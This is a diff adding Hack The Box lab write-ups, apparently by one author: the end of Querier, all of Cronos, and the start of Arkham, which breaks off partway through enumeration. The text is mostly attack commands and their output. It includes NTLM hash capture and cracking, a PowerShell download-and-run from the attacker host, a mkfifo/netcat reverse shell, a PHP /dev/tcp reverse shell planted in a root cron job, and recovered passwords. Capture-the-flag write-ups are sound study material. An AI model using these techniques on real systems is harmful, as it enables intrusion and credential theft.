Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-server-header: Microsoft-HTTPAPI/2.0 + |_http-title: Not Found + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: -59m27s, deviation: 0s, median: -59m28s + | ms-sql-info: + | 10.10.10.125:1433: + | Version: + | name: Microsoft SQL Server 2017 RTM + | number: 14.00.1000.00 + | Product: Microsoft SQL Server 2017 + | Service pack level: RTM + | Post-SP patches applied: false + |_ TCP port: 1433 + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-04-05T08:48:13 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 18.07 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the smb service running, so let's enumerate it using smbmap: + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~] + → smbmap -u invalid -H 10.10.10.125 + [!] Authentication error on 10.10.10.125 + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~] + → smbmap -u invalid -H 10.10.10.125 + [+] Guest session IP: 10.10.10.125:445 Name: 10.10.10.125 + Disk Permissions Comment + ---- ----------- ------- + ADMIN$ NO ACCESS Remote Admin + C$ NO ACCESS Default share + IPC$ READ ONLY Remote IPC + Reports READ ONLY + + +So here we see that there is a Reports share that is READ ONLY, which our user can access, so let's login via smbclient: + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~] + → sudo smbclient -U QUERIER/invalid //10.10.10.125/Reports + [sudo] password for nihilist: + do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_IO_TIMEOUT) + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~] + → sudo smbclient -U QUERIER/invalid //10.10.10.125/Reports + Enter QUERIER\invalid's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Mon Jan 28 23:23:48 2019 + .. D 0 Mon Jan 28 23:23:48 2019 + Currency Volume Report.xlsm A 12229 Sun Jan 27 22:21:34 2019 + + 6469119 blocks of size 4096. 1597460 blocks available + smb: \> get Currency Volume Report.xlsm + NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Currency + smb: \> get "Currency Volume Report.xlsm" + getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (15.5 KiloBytes/sec) (average 15.5 KiloBytes/sec) + smb: \> exit + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~] + → mkdir _HTB/Querier && mv Currency\ Volume\ Report.xlsm _HTB/Querier + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~] + → cd _HTB/Querier && file "Currency Volume Report.xlsm" + Currency Volume Report.xlsm: Microsoft Excel 2007+ + + + +Here as we can see, the smb service was a bit unstable but after spamming it we ended up being able to login and getting a MS Excel 2007 file which is basically a zip compressed file. we can see the contents of that macro file without using libreoffice as you can see below: + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → unzip Currency\ Volume\ Report.xlsm + Archive: Currency Volume Report.xlsm + inflating: [Content_Types].xml + inflating: _rels/.rels + inflating: xl/workbook.xml + inflating: xl/_rels/workbook.xml.rels + inflating: xl/worksheets/sheet1.xml + inflating: xl/theme/theme1.xml + inflating: xl/styles.xml + inflating: xl/vbaProject.bin + inflating: docProps/core.xml + inflating: docProps/app.xml + + +From here we needed to each file until we checking xl/vbaProject.bin: + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → cd xl + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [_HTB/Querier/xl] + → strings vbaProject.bin + macro to pull data for client volume reports + n.Conn] + Open + rver=< + SELECT * FROM volume; + word> + MsgBox "connection successful" + Set rs = conn.Execute("SELECT * @@version;") + Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6 + further testing required + Attribut + e VB_Nam + e = "Thi + + +So from here we know that the vbaProject.bin has an username and a password required for the MSSQL server hardcoded within the macro (reporting:PcwTWTHRwryjc$c6) so from there we can connect to the mssql server using impacket's mssqlclient.py: + + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [_HTB/Querier/xl] + → locate mssqlclient.py + /usr/share/doc/python3-impacket/examples/mssqlclient.py + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [_HTB/Querier/xl] + → cd .. && cp /usr/share/doc/python3-impacket/examples/mssqlclient.py . + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → python mssqlclient.py -windows-auth querier/reporting@10.10.10.125 + Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation + + Password: + [*] Encryption required, switching to TLS + [-] ERROR(QUERIER): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. + + + + +So from here we basically need to add the correct domain name to our /etc/hosts file: + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → echo '10.10.10.125 querier.htb' >> /etc/hosts + + +And only then use mssqlclient.py: + + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → python3 mssqlclient.py -windows-auth querier/reporting@querier.htb + Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation + + Password: + [*] Encryption required, switching to TLS + [*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume + [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english + [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 + [*] INFO(QUERIER): Line 1: Changed database context to 'volume'. + [*] INFO(QUERIER): Line 1: Changed language setting to us_english. + [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) + [!] Press help for extra shell commands + SQL> xp_cmdshell "whoami"; + [-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'. + SQL> EXEC sp_configure 'show advanced options', 1; + [-] ERROR(QUERIER): Line 105: User does not have permission to perform this action. + SQL> RECONFIGURE; + [-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement. + + +Once we are logged in as the user reporting on the MSSQL server, we don't have enough privileges to use xp_cmdshell or sp_configure, however we are able to trigger an SMB connection back to us with xp_dirtree in order to steal the NTLMv2 hash from the server thanks to responder: + +_Terminal 1:_ + + + [ 10.10.14.42/23 ] [ /dev/pts/8 ] [~] + → responder -I tun0 + + + +` _Terminal 2:_ + + + SQL> EXEC master.dbo.xp_dirtree '\\10.10.14.42\nihilist'; + SQL> + + + +` ![](prg/39_001.png) + +Once we have the NTLMv2 hash we give it to hashcat for it to bruteforce with the rockyou.txt wordlist: + + + [ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → hashcat -m 5600 ntlm /usr/share/wordlists/rockyou.txt --bruteforce + + + +Let it run and we get the mssql-svc's password **corporate568** which we can use to log into the mssql service with more privileges : + + + mssql-svc:corporate568 + + + +With these we have alot more privileges on the database: + + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB] + → locate mssqlclient.py + /usr/share/doc/python3-impacket/examples/mssqlclient.py + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB] + → cd Querier + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Querier] + → cp /usr/share/doc/python3-impacket/examples/mssqlclient.py . + + +We could use that mssqlclient.py script or we could use [ alamot's](https://alamot.github.io/mssql_shell/) python script Or even we'll use [Tsuki CTF's](https://www.youtube.com/watch?v=M9SAV-4HjzQ) way which consists in using sqsh: + + + [ 10.10.14.6/23 ] [ /dev/pts/4 ] [~/_HTB/Querier] + → sqsh -S 10.10.10.125 -U 'QUERIER\mssql-svc' -P 'corporate568' + sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray + Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp + This is free software with ABSOLUTELY NO WARRANTY + For more information type '\warranty' + 1> + + +And we are logged in ! now for this next part we'll use [nishang's Invoke-PowershellTcp.ps1](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1) and PowerSploit's PowerUp.ps1: + + + [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 + --2020-04-14 20:22:31-- https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133 + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 4339 (4.2K) [text/plain] + Saving to: ‘Invoke-PowerShellTcp.ps1’ + + Invoke-PowerShellTcp.ps1 100%[=====================================>] 4.24K --.-KB/s in 0s + + 2020-04-14 20:22:31 (10.6 MB/s) - ‘Invoke-PowerShellTcp.ps1’ saved [4339/4339] + + + [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 + --2020-04-14 20:24:35-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133 + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 562841 (550K) [text/plain] + Saving to: ‘PowerUp.ps1’ + + PowerUp.ps1 100%[=====================================>] 549.65K 1.91MB/s in 0.3s + + 2020-04-14 20:24:36 (1.91 MB/s) - ‘PowerUp.ps1’ saved [562841/562841] + + + [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001' >> Invoke-PowerShellTcp.ps1 + + [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → mv Invoke-PowerShellTcp.ps1 rev.ps1 + + [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier] + → python3 -m http.server 80 + + + +Once we have them both, we setup our simplehttpserver (which is http.server in python3) and from the mssql shell we have we can trigger our reverse shell and catch the incoming connection on our port 9001 using netcat: + +![](prg/39_002.png) + + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.125] 49676 + Windows PowerShell running as user mssql-svc on QUERIER + Copyright (C) 2015 Microsoft Corporation. All rights reserved. + + PS C:\Windows\system32>cd C:\ + PS C:\> ls + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 9/15/2018 8:19 AM PerfLogs + d-r--- 1/28/2019 11:55 PM Program Files + d----- 1/29/2019 12:02 AM Program Files (x86) + d----- 1/28/2019 11:23 PM Reports + d-r--- 1/28/2019 11:41 PM Users + d----- 1/28/2019 11:10 PM Windows + + + PS C:\> cd Users + PS C:\Users> ls + + + Directory: C:\Users + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 1/28/2019 10:17 PM Administrator + d----- 1/28/2019 11:42 PM mssql-svc + d-r--- 1/28/2019 10:17 PM Public + + + PS C:\Users> cd mssql-svc + PS C:\Users\mssql-svc> ls + + + Directory: C:\Users\mssql-svc + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d-r--- 1/28/2019 11:42 PM 3D Objects + d-r--- 1/28/2019 11:42 PM Contacts + d-r--- 1/28/2019 11:42 PM Desktop + d-r--- 1/28/2019 11:42 PM Documents + d-r--- 1/28/2019 11:42 PM Downloads + d-r--- 1/28/2019 11:42 PM Favorites + d-r--- 1/28/2019 11:42 PM Links + d-r--- 1/28/2019 11:42 PM Music + d-r--- 1/28/2019 11:42 PM Pictures + d-r--- 1/28/2019 11:42 PM Saved Games + d-r--- 1/28/2019 11:42 PM Searches + d-r--- 1/28/2019 11:42 PM Videos + + + PS C:\Users\mssql-svc> cd Desktop + PS C:\Users\mssql-svc\Desktop> cat user.txt + c3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now from there we'll upload our PowerUp.ps1 to enumerate the box from inside powershell: + + + PS C:\Users\mssql-svc\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.6/PowerUp.ps1'); Invoke-AllChecks + [*] Running Invoke-AllChecks + [*] Checking if user is in a local group with administrative privileges... + [*] Checking for unquoted service paths... + [*] Checking service executable and argument permissions... + [*] Checking service permissions... + ServiceName : UsoSvc + Path : C:\Windows\system32\svchost.exe -k netsvcs -p + StartName : LocalSystem + AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' + CanRestart : True + + [*] Checking %PATH% for potentially hijackable DLL locations... + ModifiablePath : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps + IdentityReference : QUERIER\mssql-svc + Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...} + %PATH% : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps + AbuseFunction : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll' + + [*] Checking for AlwaysInstallElevated registry key... + [*] Checking for Autologon credentials in registry... + [*] Checking for modifidable registry autoruns and configs... + [*] Checking for modifiable schtask files/configs... + [*] Checking for unattended install files... + UnattendPath : C:\Windows\Panther\Unattend.xml + + [*] Checking for encrypted web.config strings... + [*] Checking for encrypted application pool and virtual directory passwords... + [*] Checking for plaintext passwords in McAfee SiteList.xml files.... + [*] Checking for cached Group Policy Preferences .xml files.... + Changed : {2019-01-28 23:12:48} + UserNames : {Administrator} + NewName : [BLANK] + Passwords : {**MyUnclesAreMarioAndLuigi!!1!**} + File : C:\ProgramData\Microsoft\Group + Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml + + PS C:\Users\mssql-svc\Desktop> Get-ChildItem : Access to the path 'C:\ProgramData\VMware\VMware Tools\GuestProxyData\trusted' is denied. + At line:3704 char:21 + + ... $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.x ... + + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + CategoryInfo : PermissionDenied: (C:\ProgramData\...oxyData\trusted:String) [Get-ChildItem], Unauthoriz + edAccessException + + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand + + + +And it revealed us the Administrator password which is "MyUnclesAreMarioAndLuigi!!1!" so we use it to privesc via port 445 (microsoft-ds) that our nmap scan picked up earlier, we'll use psexec.py for that part: + + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier] + → locate psexec.py + /usr/share/doc/python3-impacket/examples/psexec.py + /usr/share/set/src/fasttrack/psexec.py + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier] + → cp /usr/share/doc/python3-impacket/examples/psexec.py . + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier] + → python3 psexec.py + + + +We could use psexec.py but for this part we'll use snowscan's script which is a WinRM script that was made originally by alamot: + + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier] + → nano snowscan_is_awesome.rb + + + + require 'winrm' + + # Author: Alamot + + conn = WinRM::Connection.new( + endpoint: 'http://10.10.10.125:5985/wsman', + user: 'querier\administrator', + password: 'MyUnclesAreMarioAndLuigi!!1!', + ) + + command="" + + conn.shell(:powershell) do |shell| + until command == "exit\n" do + output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") + print(output.output.chomp) + command = gets + output = shell.run(command) do |stdout, stderr| + STDOUT.print stdout + STDERR.print stderr + end + end + puts "Exiting with code #{output.exitcode}" + end + + + + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier] + → ruby querier.rb + PS querier\administrator@QUERIER Documents> whoami + querier\administrator + PS querier\administrator@QUERIER Documents> type c:\users\administrator\desktop\root.txt + b1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/39_graph.png) + diff --git a/Medium/4.md b/Medium/4.md new file mode 100644 index 0000000..855b566 --- /dev/null +++ b/Medium/4.md @@ -0,0 +1,223 @@ +# Cronos Writeup + +![](img/4.png) + +## Introduction : + +Cronos is a medium Linux box released back in march 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → nmap -F 10.10.10.13 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:00 GMT + Nmap scan report for 10.10.10.13 + Host is up (0.11s latency). + Not shown: 97 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 53/tcp open domain + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → nmap -sCV -p22,53,80 10.10.10.13 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:01 GMT + Nmap scan report for 10.10.10.13 + Host is up (0.10s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) + | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) + |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) + 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) + | dns-nsid: + |_ bind.version: 9.10.3-P4-Ubuntu + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 16.20 seconds + + λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen] + → echo '10.10.10.13 cronos.htb' >> /etc/hosts + + +## **Part 2 : Getting User Access** + +As our nmap scan picked up port 53 running a DNS service, we'll use the host command to list the hosts in the domain : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → host -l cronos.htb 10.10.10.13 + Using domain server: + Name: 10.10.10.13 + Address: 10.10.10.13#53 + Aliases: + + cronos.htb name server ns1.cronos.htb. + cronos.htb has address 10.10.10.13 + admin.cronos.htb has address 10.10.10.13 + ns1.cronos.htb has address 10.10.10.13 + www.cronos.htb has address 10.10.10.13 + + +looks like we have 2 additional domain names to add to our /etc/hosts file : + + + λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen] + → echo '10.10.10.13 admin.cronos.htb www.cronos.htb' >> /etc/hosts + + +` ![](prg/4_001.png)![](prg/4_002.png) + +admin.cronos.htb looks interesting, let's see if we can have [sql injection](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) : + +![](prg/4_003.png)![](prg/4_004.png) + +and we're in ! we have access to a badly written php script used to ping or traceroute, but we can get code execution as www-data by adding ** & <****command>**. So let's see if we can print out the user flag : + +![](prg/4_005.png) + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +In order to privesc, let's first get a reverse shell but to do so, we must first check if netcat is on the box : + +![](prg/4_006.png) + +now that we know that netcat is on the box we can use this one liner and get a reverse shell, catching the incoming connection with another netcat instance running locally. + + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 9002 >/tmp/f + + +`![](prg/4_007.png) + +we hit execute and we get a reverse shell : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.20] from (UNKNOWN) [10.10.10.13] 36520 + /bin/sh: 0: can't access tty; job control turned off + $ python -c 'import pty;pty.spawn("/bin/sh")' + + +Now that we have a TTY Shell, let's see if we can enumerate the machine with Linenum, but to do so we need to know if we can use wget / curl + + + $ which wget + which wget + /usr/bin/wget + $ which curl + which curl + /usr/bin/curl + $ cd /tmp + cd /tmp + $ wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh + wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh + --2020-02-21 18:50:39-- http://10.10.14.20:8080/LinEnum.sh + Connecting to 10.10.14.20:8080... connected. + HTTP request sent, awaiting response... 200 OK + Length: 46631 (46K) [text/x-sh] + Saving to: 'LinEnum.sh' + + LinEnum.sh 100%[===================>] 45.54K 222KB/s in 0.2s + + 2020-02-21 18:50:40 (222 KB/s) - 'LinEnum.sh' saved [46631/46631] + + $./LinEnum.sh + + +We can, therefore we execute LinEnum.sh after adding the executing right with chmod and looking at it's output we see that crontab executes a /var/www/laravel/artisan every minute as root. + + + $ ls -lash /var/www/laravel | grep artisan + ls -lash /var/www/laravel | grep artisan + 4.0K -rwxr-xr-x 1 www-data www-data 1.7K Apr 9 2017 artisan + + +To privesc on the machine, we'll modify the artisan file (which is a php file) to contain a reverse shell, we'll use the same reverse shell named nihilist.php that we used when we did [Popcorn](1.html) + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] + → locate nihilist.php + /home/nihilist/_HTB/Bastard/nihilist.php + /home/nihilist/_HTB/Networked/nihilist.php.gif + /home/nihilist/_HTB/Popcorn/nihilist.php + /home/nihilist/_HTB/Popcorn/nihilist.php.gif + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] + → cp /home/nihilist/_HTB/Popcorn/nihilist.php . + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] + → nano nihilist.php + + + + #!/usr/bin/env php + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.20/1234 0>&1'"); + ?****> + +once we're done modifying it , we upload it , wait for cronjob to execute it and get a reverse shell this time as root + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] + → python -m SimpleHTTPServer 7070 + Serving HTTP on 0.0.0.0 port 7070 ... + + + +` _Terminal 2:_ + + + $ wget http://10.10.14.20:7070/nihilist.php + --2020-02-21 19:05:59-- http://10.10.14.20:7070/nihilist.php + Connecting to 10.10.14.20:7070... connected. + HTTP request sent, awaiting response... 200 OK + Length: 98 [application/octet-stream] + Saving to: 'nihilist.php' + + 0K 100% 19.8M=0s + + 2020-02-21 19:05:59 (19.8 MB/s) - 'nihilist.php' saved [98/98] + + $ cp nihilist.php artisan + + +` _Terminal 3:_ + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] + → nc -lvnp 1234 + listening on [any] 1234 ... + connect to [10.10.14.20] from (UNKNOWN) [10.10.10.13] 40640 + bash: cannot set terminal process group (1580): Inappropriate ioctl for device + bash: no job control in this shell + root@cronos:~# cat /root/root.txt + cat /root/root.txt + 17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to get a reverse shell as root, and we have been able to print out the contents of the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/4_graph.png) + diff --git a/Medium/40.md b/Medium/40.md new file mode 100644 index 0000000..3fc9bc0 --- /dev/null +++ b/Medium/40.md @@ -0,0 +1,847 @@ +# Arkham Writeup + +![](img/40.png) + +## Introduction : + +Arkham is a Medium windows box released back in March 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.130 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + [sudo] password for nothing: + Discovered open port 139/tcp on 10.10.10.130 + Discovered open port 80/tcp on 10.10.10.130 + Discovered open port 135/tcp on 10.10.10.130 + Discovered open port 445/tcp on 10.10.10.130 + Discovered open port 8080/tcp on 10.10.10.130 + Discovered open port 49666/tcp on 10.10.10.130 + Discovered open port 49667/tcp on 10.10.10.130 + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~] + → nmap -sCV -p139,80,135,445,8080,49666,49667 10.10.10.130 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-16 16:20 BST + Nmap scan report for 10.10.10.130 + Host is up (0.11s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: IIS Windows Server + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds? + 8080/tcp open http Apache Tomcat 8.5.37 + | http-methods: + |_ Potentially risky methods: PUT DELETE + |_http-title: Mask Inc. + 49666/tcp open msrpc Microsoft Windows RPC + 49667/tcp open msrpc Microsoft Windows RPC + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 1m54s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-04-16T15:23:28 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 98.29 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 and 8080 so let's investigate them: + +![](prg/40_001.png) + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~] + → gobuster dir --url http://10.10.10.130:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.130:8080 + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/04/16 16:44:32 Starting gobuster + =============================================================== + /images (Status: 302) + /css (Status: 302) + /js (Status: 302) + /fonts (Status: 302) + Progress: 133887 / 220561 (60.70%)^C + [!] Keyboard interrupt detected, terminating. + =============================================================== + 2020/04/16 16:49:39 Finished + =============================================================== + + +` ![](prg/40_002.png) + +Forwarding the request the webpage returns the following: + +![](prg/40_003.png) + +The url .faces may point out that the website is being hosted on JavaServer Faces, we can also see it in the post request that we captured: + + + POST /userSubscribe.faces HTTP/1.1 + Host: 10.10.10.130:8080 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://10.10.10.130:8080/userSubscribe.faces + Content-Type: application/x-www-form-urlencoded + Content-Length: 263 + DNT: 1 + Connection: close + Cookie: JSESSIONID=861F4560D9A76BB7B7FB1DEC2E950CD3 + Upgrade-Insecure-Requests: 1 + + j_id_jsp_1623871077_1%3Aemail=pr0metheus&j;_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j;_id_jsp_1623871077_1_SUBMIT=1&**javax.faces.ViewState** =wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D + + +Onto which the javax.faces definitely hints us towards a JavaServer Faces. Now our nmap scan picked up the smb service running, so let's enumerate it using smbclient: + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~] + → smbclient -L //10.10.10.130/ -U "" + Enter WORKGROUP\'s password: + + Sharename Type Comment + --------- ---- ------- + ADMIN$ Disk Remote Admin + BatShare Disk Master Wayne's secrets + C$ Disk Default share + IPC$ IPC Remote IPC + Users Disk + SMB1 disabled -- no workgroup available + + +And we see an interesting share named "BatShare" so we log onto it : + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → smbclient -U anonymous //10.10.10.130/BatShare + Enter WORKGROUP\anonymous's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Sun Feb 3 13:00:10 2019 + .. D 0 Sun Feb 3 13:00:10 2019 + appserver.zip A 4046695 Fri Feb 1 06:13:37 2019 + + 5158399 blocks of size 4096. 2122527 blocks available + smb: \> get appserver.zip + getting file \appserver.zip of size 4046695 as appserver.zip (5027.8 KiloBytes/sec) (average 5027.8 KiloBytes/sec) + smb: \> exit + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → md5sum appserver.zip && file appserver.zip + df93790f7ba2782cf59374e88dc52460 appserver.zip + appserver.zip: Zip archive data, at least v2.0 to extract + + +And we get a zip file so we unzip it : + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → unzip appserver.zip + Archive: appserver.zip + inflating: IMPORTANT.txt + inflating: backup.img + + [ 